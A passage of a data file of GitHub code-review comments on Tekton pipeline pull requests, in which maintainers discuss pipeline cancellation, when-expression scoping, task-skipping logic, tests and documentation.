\ud83d\ude4f ", "comment_id": 649710814, "created_at": "2021-06-11T05:59:41Z", "line": 381, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "we could add similar check on `finaltask2`, making sure that final task was skipped since its consuming a task result produced by cancelled dag task, please feel free to delay adding this check to a followup PR.", "comment_id": 649714123, "created_at": "2021-06-11T06:08:21Z", "line": 593, "path": "test/pipelinefinally_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83c\udf89 ", "comment_id": 649714708, "created_at": "2021-06-11T06:09:44Z", "line": 717, "path": "test/pipelinefinally_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "please make them into a `dag`, `hello-world-2` running after `hello-world-1` \ud83d\ude4f ", "comment_id": 649715844, "created_at": "2021-06-11T06:12:34Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "similar to the comment above, please make `hello-world-2` running after `hello-world-1` \ud83d\ude4f ", "comment_id": 649716246, "created_at": "2021-06-11T06:13:36Z", "line": 1640, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Yes, that works well. Thanks!", "comment_id": 649746423, "created_at": "2021-06-11T07:15:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "\ud83d\udc4d ", "comment_id": 649747976, "created_at": "2021-06-11T07:18:14Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "\ud83d\udc4d ", "comment_id": 649748733, "created_at": "2021-06-11T07:19:37Z", "line": 1640, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "\ud83d\udc4d ", "comment_id": 649757102, "created_at": "2021-06-11T07:33:45Z", "line": 593, "path": "test/pipelinefinally_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "In case the has been no taskrun created yet `isRunning` will return false, so `gracefullyCancelPipelineRun` will not be executed, and that will continue to happen once final tasks are running, so unless I'm missing something, I think this specific part of the code is ok. @pritidesai wdyt?\r\n@pritidesai comment made me thinking at the case where there is no taskrun in the state, and there are three possible cases that I can think can get us to that situation:\r\n\r\n1. the pipeline is just starting - no taskrun created yet. In this case the graceful cancel method will not cancel anything, because there is nothing to cancel, which is ok. No new task from the DAG will be scheduled as this is checked for in the DAGExecutionQueue method, which is ok. ~~However, no new task from finally will be scheduled either because GetFinalTask will only check whether all Tasks are done or at least one is failed, which won\u2019t match is no task was cancelled. So I think this looks like an issue.~~\r\n2. the pipeline is in pending mode: there is no check for a graceful cancel before the pending check, which means that a graceful cancel will be ignored on a pipeline in pending mode. I think this might be considered ok if there is a finally section to run, because the pipeline shouldn\u2019t run anything (even finally) until it\u2019s pending mode, but if there is no finally section it could make sense to cancel the pipeline. This is not a big deal, but it might be worth documenting that a pipeline in pending mode will need a forced cancel to be cancelled.\r\n3. the pipeline was cancelled before any taskrun could be started, and it\u2019s now running the finally section (this may only happen once the first issue is solved). For this one, once the first issue is solved, it should behave correctly", "comment_id": 649867159, "created_at": "2021-06-11T10:23:31Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "As @rafalbigaj correctly pointed out, `checkTasksDone` will return true is the DAG state is empty, so (1) - and thus (3) will work correctly today. I think we should document (2), but I'd be happy for it to be a follow up docs PR, as long as it happens in the same release.", "comment_id": 649884271, "created_at": "2021-06-11T10:52:57Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "One thing that we should fix in the future though is the behaviour of `checkDAGTasksDone` and `checkFinalTasksDone`. The current code reads:\r\n\r\n```\r\n// check if all DAG tasks done executing (succeeded, failed, or skipped)\r\nfunc (facts *PipelineRunFacts) checkDAGTasksDone() bool {\r\n\treturn facts.checkTasksDone(facts.TasksGraph)\r\n}\r\n```\r\n\r\nWe assume that if tasks are not in the state they were skipped, but I don't think that's correct?\r\nThis works todays anyways because of the way those functions are used, but I think we should fix the logic or at least the comments to match the actual behaviour.", "comment_id": 649886797, "created_at": "2021-06-11T10:57:08Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "If I'm not mistaken, the behaviour with no TaskRun is verified by `TestReconcileOnCancelledRunFinallyPipelineRunWithFinalTask`", "comment_id": 649893447, "created_at": "2021-06-11T11:10:03Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "@afrittoli yes, that's correct", "comment_id": 649902622, "created_at": "2021-06-11T11:26:59Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "@pritidesai My understanding is that there is no need to cancel dag tasks if none is running. Therefore, `IsRunning` check seems to me to be quite natural.", "comment_id": 649907695, "created_at": "2021-06-11T11:36:10Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": null, "body": "Small nit: suggest `\"false\"` here to match case with what's already in the configmap & to indicate it's a string value rather than a yaml bool.", "comment_id": 669081278, "created_at": "2021-07-13T20:20:14Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": null, "body": "Similar nit here: suggest `\"true\"` to match case & indicate string value type. ", "comment_id": 669081668, "created_at": "2021-07-13T20:20:52Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": null, "body": "nice \ud83d\udc4d I like this approach of adding the scope state into the facts object rather than passing the ctx all the way down into the dag processing.", "comment_id": 669084353, "created_at": "2021-07-13T20:24:49Z", "line": 489, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "this is technically correct but i think the bigger thing is that the default functionality is also going to flip \ud83d\ude28 ", "comment_id": 669160155, "created_at": "2021-07-13T22:48:43Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks for adding these docs!! one additional request: i think it might really help the explanation if we included an example showing the difference", "comment_id": 669161367, "created_at": "2021-07-13T22:51:07Z", "line": 477, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "another nit from me: i think it'd be better to link to https://github.com/tektoncd/pipeline/blob/main/docs/install.md#customizing-the-pipelines-controller-behavior i.e. the doc about the config map vs the config map itself\r\n\r\n(ps i think that doc might need an update also)", "comment_id": 669166925, "created_at": "2021-07-13T23:05:44Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "just a nit - the yaml test libs (https://github.com/tektoncd/pipeline/blob/main/test/yaml.go) imo make this way more readable! (not to mention easier to write XD)\r\n\r\non the other hand there's definitely something to be said for being consistent with the rest of the file, often more important XD", "comment_id": 669168307, "created_at": "2021-07-13T23:09:24Z", "line": 3835, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im a bit confused why we expect d-task to be skipped here, but we don't expect it to be in the list of expected skipped tasks?", "comment_id": 669169258, "created_at": "2021-07-13T23:12:09Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i think it would be good to define (or link to a definition elsewhere) of what \"dependent tasks\" means\r\n\r\nThere are also some docs on \"conditions\" that look like they might be trying to explain this - might be worth borrowing and/or updating those as well: https://github.com/tektoncd/pipeline/blob/main/docs/pipelines.md#guard-task-execution-using-conditions", "comment_id": 669172524, "created_at": "2021-07-13T23:20:57Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i think that this deserves a bit more explanation as well - i.e. some explanation of \"branch scope\"", "comment_id": 669173381, "created_at": "2021-07-13T23:23:06Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i'm a bit confused by the setup of this test (maybe some comments might help?)\r\n\r\nit seems like we're making a graph of:\r\n\r\na-task runs on its own\r\nb-task depends on a-task, is guarded with a when expression based on a-task which will always be true\r\nc-task depends on a-task, is guarded with a when expression based on a-task which will always be falst\r\nd-task runs after c-task\r\n\r\nwe're setting this up so that a-task has already run, therefore b-task and c-task will get evaluated next - b-task should run, and c-task should be skipped\r\n\r\nSince this test turns on `scope-when-expressions-to-task`, i would expect that skipping c-task would have no impact d-task, i.e. it would start running at the same time as b-task\r\n\r\n(with `scope-when-expressions-to-task` off, the default, id expect d-task to get skipped also) \r\n\r\nso after that wall of text haha, im wondering:\r\n1. am i understanding the setup correctly? (and maybe can we add some comments to the test to make it more clear)\r\n2. why isn't d-task also running after the reconcile?", "comment_id": 669173460, "created_at": "2021-07-13T23:23:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "the docstring for PipelineRunFacts could use an update i think as well since it seems to be trying to list everything in this object\r\n\r\nmight be better to replace it with a description of what this object seems to be for instead of a list of its contents, e.g. something like \"PipelineRunFacts holds the state of all of the components that make up the Pipeline graph and can be used to \"", "comment_id": 669174151, "created_at": "2021-07-13T23:25:18Z", "line": 63, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "are there any cases we should think about where, parent task is skipped, it HAS a when expression, but the when expression isnt the reason it was skipped?\r\n\r\n(im wondering if we should be checking more than just `parentTask.PipelineTask.WhenExpressions != nil`, i.e. checking that they are present AND that they evaluated to skip)", "comment_id": 669174944, "created_at": "2021-07-13T23:27:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im confused what the purpose of this task is based on the name `parentTasksSkip` - what is this function's job? if there was any way you'd be willing to take on a bit of scope creep and at least add a docstring if not also rename this function id be very appreciative \ud83d\ude4f \r\n\r\n(i cant tell if this functions job is to say: should this task be skipped since it's parent task was skipped, or maybe: was the parent task skipped, or something else)", "comment_id": 669175661, "created_at": "2021-07-13T23:29:18Z", "line": 277, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "this feels like the opposite of what i would expect - but i might be misunderstanding the purpose of this function! id think that if ScopeWhenExpressionsToTask is true, then it doesnt matter that the parent was skipped?\r\n\r\nthat for the parent being skipped to matter, ScopeWhenExpressionsToTask would need to be false - or there would need to be a resource dependency?", "comment_id": 669178522, "created_at": "2021-07-13T23:36:16Z", "line": 276, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i think it would also help to have some unit tests for just this function - often a sign that this unexported function deserves to be in its own package somewhere and exported :D\r\n\r\nwhen i look at pipelinerunresolution_test, it seems like the behavior is what i would expect, but when i look at this logic in this function i dont understand how that's being accomplished - some unit test directed at just this function might help", "comment_id": 669179804, "created_at": "2021-07-13T23:39:24Z", "line": 277, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks for adding these comments, really helps me understand the tests! :D", "comment_id": 669180060, "created_at": "2021-07-13T23:40:04Z", "line": 1089, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "true true, added a separate notice for that \r\n\r\nso noted that it'll be flipped in 9 months (Feb 2022) then removed in the following release (March 2022) -- hopefully with some time before V1 release", "comment_id": 673151053, "created_at": "2021-07-20T14:01:07Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "good idea, added an example with a diagram ", "comment_id": 673274416, "created_at": "2021-07-20T16:22:28Z", "line": 477, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "found more detailed description of execution order and DAG in https://github.com/tektoncd/pipeline/blob/main/docs/pipelines.md#configuring-the-task-execution-order\r\n\r\nexpanded on that to describe resource and ordering dependencies, and referenced it here", "comment_id": 673283326, "created_at": "2021-07-20T16:34:12Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "makes sense\r\n\r\nremoved references to \"Branch\" and used \"Task and its dependent Tasks\" instead (which is defined)", "comment_id": 673291630, "created_at": "2021-07-20T16:45:40Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "@sbwsg clarified that it's a string value\r\n\r\n@bobcatfish added details about the config to the install documentation and linked it here", "comment_id": 673301034, "created_at": "2021-07-20T16:55:23Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "clarified that it's a string value, thanks!", "comment_id": 673303997, "created_at": "2021-07-20T16:58:00Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "that's a great point, added a function to validate the actual reason for skipping and we check against that instead of presence of when expressions", "comment_id": 673372215, "created_at": "2021-07-20T18:16:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "> this feels like the opposite of what i would expect - but i might be misunderstanding the purpose of this function! id think that if ScopeWhenExpressionsToTask is true, then it doesnt matter that the parent was skipped?\r\n\r\nthis function is checking whether we should skip the current task because a parent task was skipped\r\n\r\nso as we evaluate the list of the parent tasks, we need to check - was the parent task skipped?\r\n - if yes, is it because of when expressions and are when expressions?\r\n - if yes, ignore this parent skip and **continue** evaluating other parent tasks\r\n - if no, skip the current task because this parent task was skipped\r\n - if no, continue checking the other parent tasks\r\n\r\n> that for the parent being skipped to matter, ScopeWhenExpressionsToTask would need to be false - or there would need to be a resource dependency?\r\n\r\nso if `ScopeWhenExpressionsToTask` is true it does matter that the parent task was either not skipped or skipped specifically because its whenexpressions evaluated to false (to unblock evaluation of the current task)\r\n\r\nalso it's important that we evaluate all the parent tasks, because another parent task could have been skipped because of `Conditions` or something else that shouldn't allow execution of the current task\r\n", "comment_id": 673378866, "created_at": "2021-07-20T18:26:57Z", "line": 276, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "> im confused what the purpose of this task is based on the name parentTasksSkip - what is this function's job? if there was any way you'd be willing to take on a bit of scope creep and at least add a docstring if not also rename this function id be very appreciative \ud83d\ude4f\r\n\r\nrenamed the function and added a docstring to make it clear, and did the same forthe other related functions used for skipping as well\r\n\r\n(i cant tell if this functions job is to say: should this task be skipped since it's parent task was skipped, or maybe: was the parent task skipped, or something else)\r\n\r\nit's the former -- skip this task because a parent task was skipped\r\n", "comment_id": 673390238, "created_at": "2021-07-20T18:44:52Z", "line": 277, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "> i'm a bit confused by the setup of this test (maybe some comments might help?)\r\n> \r\n> it seems like we're making a graph of:\r\n> \r\n> a-task runs on its own\r\n> b-task depends on a-task, is guarded with a when expression based on a-task which will always be true\r\n> c-task depends on a-task, is guarded with a when expression based on a-task which will always be false\r\n> d-task runs after c-task\r\n> \r\n\r\nyes, that's the correct set up of the test\r\n\r\n> we're setting this up so that a-task has already run, therefore b-task and c-task will get evaluated next - b-task should run, and c-task should be skipped\r\n> \r\n\r\nthat's right, then after b-task and c-task are done, d-task will be evaluated in the next reconcile loop\r\n\r\n> Since this test turns on `scope-when-expressions-to-task`, i would expect that skipping c-task would have no impact d-task, i.e. it would start running at the same time as b-task\r\n> \r\n\r\nd-task can't run at the same time as b-task -- it has to run in the next loop (after b-task and c-task are done) because of how we traverse the pipeline graph\r\n\r\nregardless of the when expressions being scoped to task, the execution order of tasks is still enforced and we won't look at d-task until the next time getNextTasks is called in the next reconcile loop \r\nhttps://github.com/tektoncd/pipeline/blob/c8dc797cf5a6f11f90cb742d014470a444fcdc60/pkg/reconciler/pipelinerun/resources/pipelinerunstate.go#L219-L240\r\n\r\n> (with `scope-when-expressions-to-task` off, the default, id expect d-task to get skipped also)\r\n> \r\n\r\nyes, that's right\r\n\r\n> so after that wall of text haha, im wondering:\r\n> \r\n> 1. am i understanding the setup correctly? (and maybe can we add some comments to the test to make it more clear)\r\n\r\ngood idea, added some comments to the test and also simplified it to need only one reconcile loop to make it clearer\r\n\r\n> 2. why isn't d-task also running after the reconcile?\r\n\r\nin this reconcile, only b-task and c-task will run -- d-task is supposed to run in the next ", "comment_id": 673489540, "created_at": "2021-07-20T21:00:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "rewrote the test, it may be readable enough now -- but happy to look into the test yamls later if it's still confusing", "comment_id": 673490792, "created_at": "2021-07-20T21:02:11Z", "line": 3835, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "that was a typo, should not have included d-task there\r\n\r\nbut still, we're using this list to check that there are no taskruns for these pipeline tasks -- which we expect there to be no d-task because it's not in the current tasks for this reconcile loop (should be in the next)\r\n\r\nimproved the test such that it shows how scoping impacts ordering and resource dependent tasks \r\n\r\n", "comment_id": 673492118, "created_at": "2021-07-20T21:04:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "updated the test such that we have:\r\n- a-task runs on its own, is guarded with when expressions that evaluate to false so is skipped\r\n- b-task depends on a-task based on runafter, is executed because it runs after a-task and when expressions are scoped to task\r\n- c-task depends on a-task based on result, is attempted because when expressions are scoped to task but then get skipped because of missing result references from a-task", "comment_id": 673493990, "created_at": "2021-07-20T21:07:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "glad to hear it \ud83d\ude01 ", "comment_id": 673494278, "created_at": "2021-07-20T21:07:42Z", "line": 1089, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "updated the docstring to explain its purpose", "comment_id": 673498920, "created_at": "2021-07-20T21:15:14Z", "line": 63, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "\r\n> when i look at pipelinerunresolution_test, it seems like the behavior is what i would expect, but when i look at this logic in this function i dont understand how that's being accomplished - some unit test directed at just this function might help\r\n\r\nsounds good, added unit tests for that function (checking whether to skip because of parent tasks)\r\n", "comment_id": 673526459, "created_at": "2021-07-20T22:09:19Z", "line": 277, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "updated the migration plan in the tep as well - https://github.com/tektoncd/community/pull/481", "comment_id": 673545591, "created_at": "2021-07-20T22:55:30Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "> d-task can't run at the same time as b-task -- it has to run in the next loop (after b-task and c-task are done) because of how we traverse the pipeline graph\r\n\r\nthat doesnt sound right to me - is this the way we evaluate other concurrent tasks? e.g. if a pipeline has 2 tasks, `a` and `b`, and they have no dependencies or `runAfter`, they both run simultaneously - do they not get both created in the next reconcile loop, or do we do them one at a time? \r\n\r\nthis line makes me think we start all the tasks that are available to run:\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/8907e408c73480482c618d08eeaaefe0bd4aac68/pkg/reconciler/pipelinerun/pipelinerun.go#L637\r\n\r\ni dont think that when expressions should make that behavior any different, and i would count that as a bug in when expressions if they do (how can we even guarantee in that case that the pipelinrun would immediately be reconciled again?)", "comment_id": 675122025, "created_at": "2021-07-22T19:58:03Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "sorry for coming late to the discussion here, I agree with @bobcatfish, if the flag is set to `true`, no need to check if a parent was skipped or not. \r\n\r\nI do not understand this statement:\r\n\r\n> if no, skip the current task because this parent task was skipped\r\n\r\nA task can be skipped because of the `when` expressions or a task result resolution fails. From the `when` expression scoping perspective, irrespective of one parent skipped vs a couple of parents skipped, the `when` expressions scoped to that parent/s. \r\n", "comment_id": 675184577, "created_at": "2021-07-22T21:48:22Z", "line": 276, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "@jerop and i spent some time talking this through and i take back what i said about the behavior being a bug XD sorry for jumping to that conclusion @jerop ! \ud83d\ude4f \r\n\r\nSounds like there are 2 different and valid approaches we could use with different trade offs. Imagine a Pipeline with 100 tasks: they run sequentially (using runAfter) but the first 99 have when expressions that evaluate to false and they should be skipped:\r\n\r\n```\r\n 1 (when false)\r\n |\r\n V\r\n 2 (when false)\r\n |\r\n V\r\n 3 (when false)\r\n |\r\n V\r\n 4...99 (when false)\r\n |\r\n V\r\n 100\r\n```\r\n\r\nThe question is: what happens in the first reconcile loop?\r\n\r\n1. I assumed that the entire graph would be evaluated and at the end of the first reconcile loop, 100 would be run\r\n2. The implementation here would look at the next task to run, which on the first reconcile would be 1, evaluate it, determine it should be skipped, and complete. The next reconcile would look at 2, and so on.\r\n\r\n(1) assumes the job of the reconcile loop is to determine which task should _run_ next\r\n(2) assumes the job of the reconcile loop is to determine which task should be _evaluated_ next\r\n\r\nI think (2) is simpler to implement (esp given our existing code) b/c going with (1) would mean we have to do some kind of \"evaluate until done\" looping within the reconcile loop that we've never had to do before.\r\n\r\nBut I think (2) is less efficient b/c running the above pipeline would take 100 separate reconciles (including calls to the API server, to etcd, and the being notified by the API server that we need to evaluate again). (BUT (1) might potentially block reconciling of other pipelines by doing a loop over 99 when expressions in one reconcile loop?)\r\n\r\n@jerop and I think it makes sense to go with (2) for now and address possible efficiency issues later if needed (\ud83e\udd1e hopefully no one is running a Pipeline like the above XD)\r\n\r\nrequests from me:\r\n- Verify that the reconcile loop will be triggered again after a Task is evaluated as skipped (i.e. that the change we are making in the reconcile loop will trigger another reconcile) - if not, we'll need to use the approach where we traverse all the skipped tasks in one loop\r\n- Add something to our [developer docs](https://github.com/tektoncd/pipeline/tree/main/docs/developers) explaining the tradeoff made here (e.g. the simplicity in using multiple reconciles vs getting everything done in one reconcile)\r\n- I liked the test case with d-task and think it's worth adding back XD it stimulated a great conversation", "comment_id": 675888209, "created_at": "2021-07-23T22:07:34Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks @jerop, makes a lot more sense to me now!! \ud83d\ude4f ", "comment_id": 675888872, "created_at": "2021-07-23T22:09:23Z", "line": 277, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "When i look at the function now, it makes sense to me - not sure if I was seeing something else before that was fixed or if changing the name of the function just cleared it all up for me but all my concerns are addressed!", "comment_id": 675889322, "created_at": "2021-07-23T22:10:54Z", "line": 276, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i think there's something I'm still missing here, and apologies if I'm just being picky about the wording, but my understanding is:\r\n\r\n* Scoping when expressions to a task and the tasks are explicitly ordered to run after it (via runAfter) is deprecated\r\n* Even with the new behavior, if a task is skipped and a subsequent task has a resource dependency on the skipped task, the subsequent task _will still be skipped_, that is: the when expression is still scoped to the task _and its (resource dependent) dependents_\r\n\r\nAt the moment I think this is the only option until we have [TEP-0048](https://github.com/tektoncd/community/pull/240) - and even then users would need to explicitly configure defaults to use that functionality\r\n\r\nSo in summary I'm not sure if it's just that I'm expecting to see this called out more explicitly in the docs (i.e. just a doc update - or point me at something in the docs im missing), or if this has been implemented with different assumptions (and there's a difference in functionality b/w this and how i thought it would work)?", "comment_id": 675891116, "created_at": "2021-07-23T22:16:42Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "bobcatfish", "body": "hmmm similar to my comment above, I'm not sure how this would be possible? even tho skipping is scoped to only `manual-approval`, my understanding is that this should still get skipped b/c otherwise what value will ` $(tasks.manual-approval.results.approver)` have?\r\n\r\nif this IS how this is working right now, I'm guessing this is an empty string? [This design doc has some info about why this might not be what we want](https://docs.google.com/document/d/1tV1LgPOINnmlDV-oSNdLB39IlLcQRGaYAxYZjVwVWcs/edit), particularly [Option b (results default)](https://docs.google.com/document/d/1tV1LgPOINnmlDV-oSNdLB39IlLcQRGaYAxYZjVwVWcs/edit#heading=h.phrhie8akizi), which also links to [a previous discussion about this](https://docs.google.com/document/d/10iEJqVstY6k3KNvAXgffIJLcHRbPQ-GIAfQk5Dlrf3c/edit#heading=h.19ybq5czkwi6)\r\n\r\nThe summary section of https://github.com/tektoncd/community/pull/240 uses this same Approver example, pointing out that maybe using a string like \"None\" might be the desired behavior. For example maybe the slack message is something like \"Pull request 4555 was approved by \" - Something like \"Pull request 4555 was approved by None\" or maybe (\"Pull request 4555 was approved implicitly; no manual approval needed\") would be better than \"Pull request 4555 was approved by \"", "comment_id": 675893315, "created_at": "2021-07-23T22:24:41Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "> hmmm similar to my comment above, I'm not sure how this would be possible? even tho skipping is scoped to only `manual-approval`, my understanding is that this should still get skipped b/c otherwise what value will ` $(tasks.manual-approval.results.approver)` have?\r\n> \r\n\r\n$(tasks.manual-approval.results.approver) has NO value i.e. no empty string if manual-approval is skipped. The task result resolution indicates the value is missing and \r\nslack-msg has no sufficient data to run and will be skipped. But at least the slack-msg was scheduled and attempted without creating any taskRun. I think this aligns with the proposal.\r\n\r\n> if this IS how this is working right now, I'm guessing this is an empty string? [This design doc has some info about why this might not be what we want](https://docs.google.com/document/d/1tV1LgPOINnmlDV-oSNdLB39IlLcQRGaYAxYZjVwVWcs/edit), particularly [Option b (results default)](https://docs.google.com/document/d/1tV1LgPOINnmlDV-oSNdLB39IlLcQRGaYAxYZjVwVWcs/edit#heading=h.phrhie8akizi), which also links to [a previous discussion about this](https://docs.google.com/document/d/10iEJqVstY6k3KNvAXgffIJLcHRbPQ-GIAfQk5Dlrf3c/edit#heading=h.19ybq5czkwi6)\r\n> \r\n> The summary section of [tektoncd/community#240](https://github.com/tektoncd/community/pull/240) uses this same Approver example, pointing out that maybe using a string like \"None\" might be the desired behavior. For example maybe the slack message is something like \"Pull request 4555 was approved by \" - Something like \"Pull request 4555 was approved by None\" or maybe (\"Pull request 4555 was approved implicitly; no manual approval needed\") would be better than \"Pull request 4555 was approved by \"\r\n\r\nOnce we add support for the task results without results, the message will be sent saying PR was approved implicitly or by no one. \r\n", "comment_id": 675934162, "created_at": "2021-07-24T02:24:12Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am trying to understand the list of reasons here and how they are utilized. \r\n\r\nThese are great and I really appreciate the thorough explanation to the users why a task was skipped but at the same time, I think this might cause false positives or incorrect responses if communicated to the user.\r\n\r\nHow is reason ParentTasksSkip applicable with scoping the when expression to the task? No need to introduce a new reason for the current functionality which will be deprecated in 9 months.\r\n\r\nFor a task with multiple parents, there could be multiple reasons for skipping that task. Can we keep it simple for the first iteration and introduce these if they are visible in the status?", "comment_id": 675937534, "created_at": "2021-07-24T02:57:11Z", "line": 53, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "@bobcatfish you were actually right - turns out that what we actually do is (1) where the reconcile loop determines which task would run next\r\n\r\nfollowed up with @pritidesai about the `successfulOrSkippedDAGTasks` function which enables (1) to happen: https://github.com/tektoncd/pipeline/blob/a728ce3c3d717fe52ff0b1eb71d357460498115c/pkg/reconciler/pipelinerun/resources/pipelinerunstate.go#L480-L490\r\n\r\nso what happened in the initial test case? \r\n- `a-task` runs on its own\r\n- `b-task` depends on `a-task` (based on `runAfter`), is guarded with a `when` expression which will always be true\r\n - is executed successfully\r\n- `c-task` depends on `a-task` (based on a `Result`), is guarded with a `when` expression with a missing `Result`\r\n - is skipped because of a missing `Result`\r\n - test case was misconstructed because `a-task` ran successfully but somehow didn't produce that `Result`\r\n- `d-task` runs after `c-task`\r\n - is skipped because its parent task `c-task` was skipped because of a missing `Result`\r\n\r\nI'd thought what we did was (2) where the reconcile loop determines which task would be evaluated next, and that that was the reason `d-task` was not executed but it was actually because of the 